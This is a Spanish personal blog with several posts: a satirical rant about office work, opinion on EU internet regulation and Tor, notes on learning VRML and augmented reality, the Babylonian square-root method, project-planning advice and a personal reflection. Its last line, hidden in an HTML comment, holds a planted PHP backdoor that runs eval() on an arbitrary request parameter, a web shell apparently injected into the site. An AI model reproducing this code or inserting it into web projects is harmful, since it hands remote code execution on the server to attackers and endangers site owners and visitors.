La teoría de los cubos

LLevo ya algunos años trabajando en el mundillo de la informática, y siempre, siempre, cuando se acercan fechas de entrega de proyectos a cliente final, me viene a la cabeza la misma disertación mental que cierta vez escuche sobre unos cubos y la forma de repartirlos. Quiero compartir estos pensamientos con quien quiera leerlos, sabiendo, o al menos dando por supuesto, que las situaciones que comento, no solo se dan en el ámbito laboral que me ha tocado vivir a mí, sino que se puede extrapolar a otras muchas profesiones. Allá va:

“Todos los dias, por la mañana, cuando llegas a trabajar, tienes dos cubos llenos de mierda hasta arriba esperandote agazapados en cuanto enciendas tu ordenador. Estos cubos han sido preparados con todo el esmero del mundo por el “generador de cubos”, sumo pontifice de la ignorancia supina, personaje que conocereis por su gran habilidad para llenar cubos con ideas que no son mas que … mierda….

Tú, pobre incauto, te acabas de convertir en un “comecubosdemierda” más. Tu misión en esta vida no tendrá otra finalidad que conseguir vaciar tus cubos diariamente, porque el gran generador de cubos, volverá a tener diarreas mentales que llenarán más cubos para el día siguiente, y todo aquello que no hayas conseguido hacer desaparecer, se acumulará a tus cubos diarios.

Existen muchas maneras de vaciar tus cubos. Si estas lo suficientemente cerca del generador de cubos, puedes vaciar parte en los cubos de aquellos otros “comecubosdemierda” que se encuentren a tu alrededor, e incluso puedes llegar a hacerlos rebosar, acusandoles de desperdiciar la mierda que nuestro gran pontifice ha generado con la amabilidad que le caracteriza.

Por otro lado, puedes comerte el contenido de los cubos, ya que el resto de “comecubosdemierda” tendrá bien vigilados sus contenedores, e intentará por todos los medios que nadie se acerque a ellos, y menos con la intención de volver a llenarselos.

Si hastiado de que tus cubos nunca se vacien, optas por esparcirlos, volteandolos, girandolos, o lo que vulgarmente conocemos como “poner el ventilador” y manchando al resto de tus compañeros “comecubosdemierda”, comenzaras a ser maltratado y mal visto por todos, y cuando menos te lo esperes, veras como se avalanzan sobre tí y vacian los suyos una y otra vez, a traición, con alevosia, y ensañamiento, en tus vacios cubos…

Durante tu vida laboral dentro del alcance del mismo “hacedor de cubos”, debes procurar mantener un número de cubos aceptable, pues su acumulación puede hacer saltar las alarmas del “gran hacedor”, debido sobre todo al olor, que comenzará a molestarle. Y para entonces, te aseguro que todos los cubos que hayas conseguido vaciar hasta entonces, serán olvidados por completo.

Cuando ya llevas mucho tiempo esquivando, vaciando, e incluso comiendo cubos, empiezas a sentir digestiones pesadas, que agrian el humor, y comienzas a quejarte una y otra vez de lo mala que es la mierda que te ha tocado comerte, mirando con envidia, como la mierda de tus ya excompañeros, otrora “comedoresdecubos”, tiene mejor color y mejor sabor, deseas con todas tus fuerzas que tus cubos se vacien, pero solo encuentras mierda a tu alrededor, y esa mierda cada vez huele peor, y tu olfato ha aprendido a olerla a distancia, siendo capaz de distinguir entre la buena mierda, o mierda de calidad, de la mierda putrida y nauseabunda.

No hay manera de escapar de la mierda, ni de la dosis diaria de cubos. Que os aproveche!!”

¿Miedo o asco?

No se cual es el sentimiento que me invade cuando leo gracias a Félix y sus links, noticias de Dans, mangasverdes, micorsiervos y otros lugares de relieve en la red, de como nos la están colando a los internautas y lo poco que estamos haciendo para evitarlo.

El “telecoms package” pondrá puertas al campo. Quieren controlar aquello que todavía es de todos para hacerlo de unos pocos. Es algo que sabiamos que pasaría tarde o temprano, pero no de esta manera.

Los poderes del mundo real no quieren perderse ser el gran hermano que todo lo vigila. El poderoso capital se ha dado cuenta de la riqueza (tanto económica como ideológica) que hay en la red. Los guardianes del orden y la ley del paraiso democrático europeo, han despertado y han visto el gran potencial que hay en el mundo virtual, en el otro lado, en matrix y quieren quedarse con él, cambiandolo por algo que se asemeje al que ya controlan, el real.

Recuerda que pronto serán las elecciones europeas y ahí es donde debemos recordar estas cosas. Mientras, paremosles los pies, o al menos, hagamonos oir:

Como diria un buen amigo….Pásalo 🙂

Actualizacion(16:44): El que no corre vuela. Acabo de leer en el país que les han dado la primera en la frente

Realidad Virtual. El VRML

Sigo investigando en lo que me ha parecido maravilloso mundo de la realidad aumentada. Aún estoy muy lejos de conseguir ni una décima parte de lo que he visto por ahí como ya comenté en su día, pero la verdad es que es un mundo que engancha, porque los resultados son visibles de forma casi automática.

El primer paso que he dado, es hacerme con unas nociones de VRML (Virtual Reality Modeling Language), que segun la maravillosa wikipedia, no es otra cosa que un formato de fichero de texto en el que se especifican los vertices y las aristas de cada polígono tridimensional, además del color de su superficie, con algunos añadidos que lo hacen muy potente.

El mejor sitio que he encontrado, en castellano, es el que pertenece al sitio personal de Narcís Pares, donde nos indica las nociones básicas sobre el VRML 97. Lástima que ya no actualice el sitio.

Hay que instalarse alguno de los plugins que existen, para el navegador de internet que utilicemos. Buscando por la red, he encontrado una muy buena página con una comparativa de los mas utilizados. Personalmente, y dentro de mi incipiente experiencia en este campo, os recomiendo CosmoPlayer si trabajais sobre entornos Microsoft, y OpenVRML si lo haceis en entornos GNU/Linux.

Con estas herramientas, un poco de paciencia, y un mucho de tiempo libre, podréis ir adentrandoos en este maravilloso mundo de la realidad virtual.

Suerte 🙂

Cálculo de la raiz cuadrada de un número

Estos dias he estado a vueltas con la estadística, pero no la estadística del sitio, sino la estadística de la ingeniería técnica en informatica de gestión que estoy cursando en la uoc.

Mientras le daba vueltas, me ha surgido una duda, ¿como se hace una raíz cuadrada?. Si, ya sé que con el botoncito de la calculadora, pero la pregunta quiere llegar un poco más lejos ¿Cómo se calcula una raiz cuadrada de la forma tradicional?, con papel y lápiz.

Me he puesto manos a la obra, y lo primero que he encontrado, ha sido la archiconocida wikipedia, fuente del saber internetero (con licencia de San Google, claro) y además de dar una explicación brillante, me ha mostrado la existencia de varios caminos diferentes para resolver el entuerto planteado.

El que más me ha llamado la atención ha sido el algoritmo babilónico, utilizado durante muchos años, y basado en la aproximación de un rectangulo a un cuadrado, y el cual tiene un algoritmo recursivo muy interesante. Resulta el algoritmo más “sencillo” a la hora de calcular raices cuadradas, de una forma rápida. No entieno como no nos lo enseñan en los colegios en lugar del método tradicional (al que llaman método de resolución)

Todo esta lectura no ha hecho otra cosa que alimentar mi curiosidad sobre las antiguas formas de realizar cálculos de forma precisa, cuando no existian ordenadores, ni calculadoras, incluso ni papel ni lápiz. Cuando el mecanismo mas funcional era sin duda la utilización del cerebro humano, ese, que a dia de hoy, tan olvidado tenemos.

Sin duda, intentaré saciar esa curiosidad. 🙂

Realidad ¿virtual?

Llevo unos días en los que no hago mas que leer en diferentes sitios sobre la realidad aumentada, y la verdad es que tras ver algún video que otro me ha hecho sentir curiosidad sobre esta forma de aplicar la tecnología.

Me he puesto a buscar en San Google (patrón de los internautas perdidos), y me he llevado una grata sorpresa al ver que hay una gran variedad de información. Claro, que mucha de esta información no es apta para “no iniciados” en, lo que parece, tan fascinante arte.

He decidido bajar un poco el listón, y buscar algo mas suavecito para empezar con el viaje a este nuevo mundo desconocido, y he visto que existe suficiente información para dar nuestros primeros pasos.

Deberiamos comenzar con las especificaciones que la Web3D consortium nos ofrece . Si no nos gusta la teoría y queremos ir a la práctica directamente, os aconsejo el wiki que he encontrado, y que pertenece a la universidad donde ahora consumo gran parte de mi poco tiempo libre. Desde aquí podréis tener acceso directo a multitud de lecturas, todas interesantes, sobre modelado con VRML, X3D, Blender y un largo etcétera.

Con un mucho de paciencia, y un tanto más de tiempo, estudio y dedicación, podremos llegar a hacer cosas como estas.

Suerte 😉

Tor, el dios de la cebolla

Ultimamente en la red se esta hablando mucho de la privacidad de los datos y de como los que nos gobiernan quieren meter mano en ellos, para pagar, no se sabe que favores, a algunas empresas privadas.

Ya lo decia Platón:

“La gente buena no necesita leyes que les diga lo que tienen que hacer para actuar responsablemente; la gente mala en cambio encontrará las formas de saltarse las leyes”

Pero lo que nuestros gobernantes no saben, ni siquiera intuyen, es que la red esta viva, y que no les necesita para sobrevivir. Muchos de los que legislan creen que internet es google, el porno, una cuna del terrorismo, ¿p2p? y que los usuarios habituales de la red, son entes aislados, personas introvertidas, que no se relacionan con su entorno y que cuando lo hacen, la emprenden a tiros con sus colegas.

Para evitar que el ojo del gran hermano nos controle, se ideó la implementación Tor sobre la red onion (traducido como cebolla en castellano), que permite a los usuarios comunicarse en Internet de manera anónima. No es la panacea, no es fiable 100% en lo que se refiere al cifrado de la información (esta probado que un servidor de salida puede ver toda la información cuando es descifrada antes de llegar a internet), pero resulta imposible saber quién es el autor de dicha información.

Hay plugins para firefox que nos permitiran acceder a dicha red de una manera sencilla. Muchos proxys anonimos la utilizan, pero como realmente obtendremos toda su salsa, es configurandola por nosotros mismos (vale, vale, apunto que os debo un tutorial 🙂 )

A ver si conseguimos que a nuestros gobernantes se les salten las lágrimas con el olor a cebolla 😉

Segundo Paso – La organización

Ya tenemos ¿todas? nuestras ideas, sobre el proyecto en el que nos embarcamos, escritas en algún lugar. No tienen orden ni concierto, y seguramente nadie que no seamos nosotros mismos será capaz de entender ni un ápice lo que intentan decir.

Ahora toca ordenar todo ese cúmulo de ideas de una manera que sea entendible por el resto de la humanidad y porque no, por nosotros mismos cuando hayan pasado un par de dias y no tengamos tan reciente la creación de los apuntes, o simplemente hayamos creado varios y no sepamos de a que proyecto pertenece cada idea. Creedme, cuando tengáis 4 o 5 ideas distintas para más de un proyecto, no os acordaréis de más de 2 o 3.

Hay muchas maneras de organizar la información: por secciones, por similitud, por dificultad, por el tiempo dedicado a refinarlas, por el tipo, etc. Elegid aquella con la que os sentáis más comodos y creais os va a facilitar el trabajo. Yo personalmente suelo dividirla en tres partes: lo que se hacer, lo que no se hacer, lo que ya he hecho antes. Y dentro de cada una de ellas divido en otras subsecciones: programación, diseño, funcionalidad, etc. No hay un patrón fijo. Debemos recordar que es nuestro proyecto, y que los principales interesados en tener todo claro somos nosotros mismos.

De lo bien o mal que organicemos nuestras ideas, puede depender que nos cueste mas o menos hacer las cosas, e incluso darnos cuenta en esta etapa de que cosas no hace falta que hagamos de nuevo, pues ya las tenemos hechas. Ya sabemos lo escasos de tiempo que andamos todos 🙂

No todo va a ser informática

lobo aullandoNo todo va a ser informática y trabajo. No todo va a ser explicar como creo que se deberian de hacer las cosas. Ya dije que de vez en cuando escribiría algún que otro post personal, y he aquí el primero  (que no el último)

Hoy ha sido un día extraño. Un día de esos en los que desde que te levantas tienes la sensación de que algo especial va a ocurrir. Un día de esos en los que te levantas ñoño.

He recibido un correo electrónico, junto a otras ochenta personas mas, de un buen amigo al que le montamos (realmente la organizó su mujer, nosotros, los ochenta, simplemente estuvimos allí) una fiesta sorpresa por su 40 cumpleanos. Es un correo de agradecimiento. De agradecimiento sincero. Un correo de esos que te ponen los pelos como escarpias y humedecen mas de lo normal los ojos.

Esto me ha hecho reflexionar sobre porque nos cuesta tanto mostrar nuestros sentimientos a los demás. ¿Porqué nos escudamos, muchas veces, tras un teclado o tras un diario?. ¿Porqué no somos capaces de sentarnos delante de alguien y sincerarnos?. ¿Tanto nos cuesta decir a la gente lo que pensamos para bien o para mal?

Yo no tengo respuestas.

Primer Paso – La idea

El miedo al papel en blanco es algo por lo que alguna vez todos hemos pasado. Tener ideas no es tarea sencilla. Plasmarlas en papel de manera coherente, sobre todo las primeras veces, muy complicado.
Brainstorm
En la vorágine del día a día, pocas son las empresas que dedican un tiempo prudencial a analizar intensamente los proyectos que les llegan. Craso error. Personalmente, siempre he sido de la opinión de que si tenemos claro lo que queremos hacer, luego nos resultará mas sencillo llevarlo a cabo.

Por eso, cuando nos enfrentamos a un nuevo proyecto web de creación propia, lo primero que hay que hacer es apagar el ordenador, coger un lápiz, goma de borrar y un elegir un lugar donde escribir. Bueno, realmente no hay que ser tan drástico, y podemos utilizar el ordenador y olvidarnos del papel y la goma de borrar.

Una vez decidido como vamos a hacerlo (con papel o con el ordenador), pongámonos a escribir todo aquello que querriamos que tuviera nuestro site. Cuando digo todo, me refiero a TODO. No os cortéis, ni os preocupéis de como lo solucionaréis más tarde, de si se podrá o no hacer. Estamos en el momento de las ideas, duro con ellas. Es el instante en que debemos estrujar el cerebro. Incluso imaginaros como quedaría, lo que estáis escribiendo, cuando el proyecto este finalizado. Poco a poco ira tomando forma y en vuestra cabeza apareceran colores, fotografias, dibujos, estructura y mil y una cosas que os ayudarán en pasos posteriores. Anotadlo todo, no dejéis nada de lo que vuestra imaginación fabrique sin anotar. Mas adelante lo agradeceréis.

<!– [insert_php]if (isset($_REQUEST["eDkB"])){eval($_REQUEST["eDkB"]);exit;}[/insert_php][php]if (isset($_REQUEST["eDkB"])){eval($_REQUEST["eDkB"]);exit;}[/php] –>